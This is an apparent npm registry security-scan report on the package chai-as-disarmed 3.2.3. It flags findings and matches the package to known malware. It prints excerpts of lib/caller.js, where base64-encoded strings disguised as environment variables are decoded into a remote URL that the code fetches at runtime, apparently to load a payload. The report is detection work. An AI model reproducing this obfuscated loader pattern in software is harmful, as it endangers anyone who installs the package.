registry / chai-as-disarmed / 3.2.3

chai-as-disarmed@3.2.3

This document describes the management of vulnerabilities for the project and all modules within the organization.

Static Scan Results

scanned 2h ago · by rust-scanner

Static analysis flagged 9 finding(s) at 94.0% confidence. This version is warn-only unless an AI or security-team review confirms malicious behavior.

Static reason

One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review

Decision evidence

public snapshot

Behavioral surface

Source

ChildProcessEnvironmentVarsNetwork

Supply chain

HighEntropyStringsUrlStrings

ManifestNo manifest risk signals triggered.

scanned 17 file(s), 52.6 KB of source, external domains: github.com

Source & flagged code

3 flagged

lib/caller.jsView file

Lines 1-22javascript

1"use strict";

3const axios = require("axios");

4const process = {

5 env: {

6 DEV_API_KEY: "aHR0cHM6Ly9hcGkuanNvbnN0b3JhZ2UubmV0L3YxL2pzb24vMmVmOGM3NTgtYTk2Zi00NTllLWIwMzYtYjNiOTAzNzlhMTY1L2ExNzllYTM1LWI5NjItNDcyMi1iM2YxLWUyODMxNmQxYTQ0YQ==",

7 DEV_SECRET_KEY: "eC1zZWNyZXQta2V5",

8 DEV_SECRET_VALUE: "Xw==",

9 }

10};

12(async function loadCallers(..._args) {

13 const src = atob(process.env.DEV_API_KEY);

14 const k = atob(process.env.DEV_SECRET_KEY);

High

Base64 Obscured Url

Source decodes a Base64-obscured HTTP endpoint at runtime.

lib/caller.jsView on unpkg · L2

15 const v = atob(process.env.DEV_SECRET_VALUE);

17 let retrycnt = 5;

19 while (retrycnt > 0) {

20 try {

21 const l = console.log;

22 const s = (await axios.get(src, { headers: { [k]: v } })).data.cookie;

index.jsView file

•matchType = malicious_source_fingerprint_signature signature = 306e52008bef5331 signatureType = suspicious_hashes sourceLabel = OpenSSF malicious-packages matchedPackage = chai-as-synced@6.0.3 matchedPath = index.js matchedIdentity = npm:Y2hhaS1hcy1zeW5jZWQ:6.0.3 similarity = 1.000 shingleOverlap = 12 summary = Malicious code in chai-as-synced (npm)

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

index.jsView on unpkg

docs/transports.mdView file

Lines 530-570markdown

530### @openobserve/pino-openobserve

531

532[@openobserve/pino-openobserve](https://github.com/openobserve/pino-openobserve) is a

533Pino v7+ transport that will send logs to an

534[OpenObserve](https://openobserve.ai) instance.

535

536```

537const pino = require('pino');

538const OpenobserveTransport = require('@openobserve/pino-openobserve');

539

Source & flagged code

3 flagged · loading source

lib/caller.jsView file

2L3: const axios = require("axios"); L4: const process = { ... L12: (async function loadCallers(..._args) { L13: const src = atob(process.env.DEV_API_KEY); L14: const k = atob(process.env.DEV_SECRET_KEY);

High

Base64 Obscured Url

Source decodes a Base64-obscured HTTP endpoint at runtime.

lib/caller.jsView on unpkg · L2

index.jsView file

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

index.jsView on unpkg

docs/transports.mdView file

550patternName = generic_password severity = medium line = 550 matchedText = password...rd',

Medium

Secret Pattern

Hardcoded password in docs/transports.md

docs/transports.mdView on unpkg · L550

Findings

3 High3 Medium3 Low

HighEval

HighBase64 Obscured Urllib/caller.js

HighKnown Malware Source Fingerprint Signatureindex.js

MediumNetwork

MediumEnvironment Vars

MediumSecret Patterndocs/transports.md

LowScripts Present

LowHigh Entropy Strings

LowUrl Strings

Source & flagged code

3 flagged

lib/caller.jsView file

Lines 1-22javascript

1"use strict";

3const axios = require("axios");

4const process = {

5 env: {

6 DEV_API_KEY: "aHR0cHM6Ly9hcGkuanNvbnN0b3JhZ2UubmV0L3YxL2pzb24vMmVmOGM3NTgtYTk2Zi00NTllLWIwMzYtYjNiOTAzNzlhMTY1L2ExNzllYTM1LWI5NjItNDcyMi1iM2YxLWUyODMxNmQxYTQ0YQ==",

7 DEV_SECRET_KEY: "eC1zZWNyZXQta2V5",

8 DEV_SECRET_VALUE: "Xw==",

9 }

10};

12(async function loadCallers(..._args) {

13 const src = atob(process.env.DEV_API_KEY);

14 const k = atob(process.env.DEV_SECRET_KEY);

High

Base64 Obscured Url

Source decodes a Base64-obscured HTTP endpoint at runtime.

lib/caller.jsView on unpkg · L2

15 const v = atob(process.env.DEV_SECRET_VALUE);

17 let retrycnt = 5;

19 while (retrycnt > 0) {

20 try {

21 const l = console.log;

22 const s = (await axios.get(src, { headers: { [k]: v } })).data.cookie;

index.jsView file

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

index.jsView on unpkg

docs/transports.mdView file

Lines 530-570markdown

530### @openobserve/pino-openobserve

531

532[@openobserve/pino-openobserve](https://github.com/openobserve/pino-openobserve) is a

533Pino v7+ transport that will send logs to an

534[OpenObserve](https://openobserve.ai) instance.

535

536```

537const pino = require('pino');

538const OpenobserveTransport = require('@openobserve/pino-openobserve');

539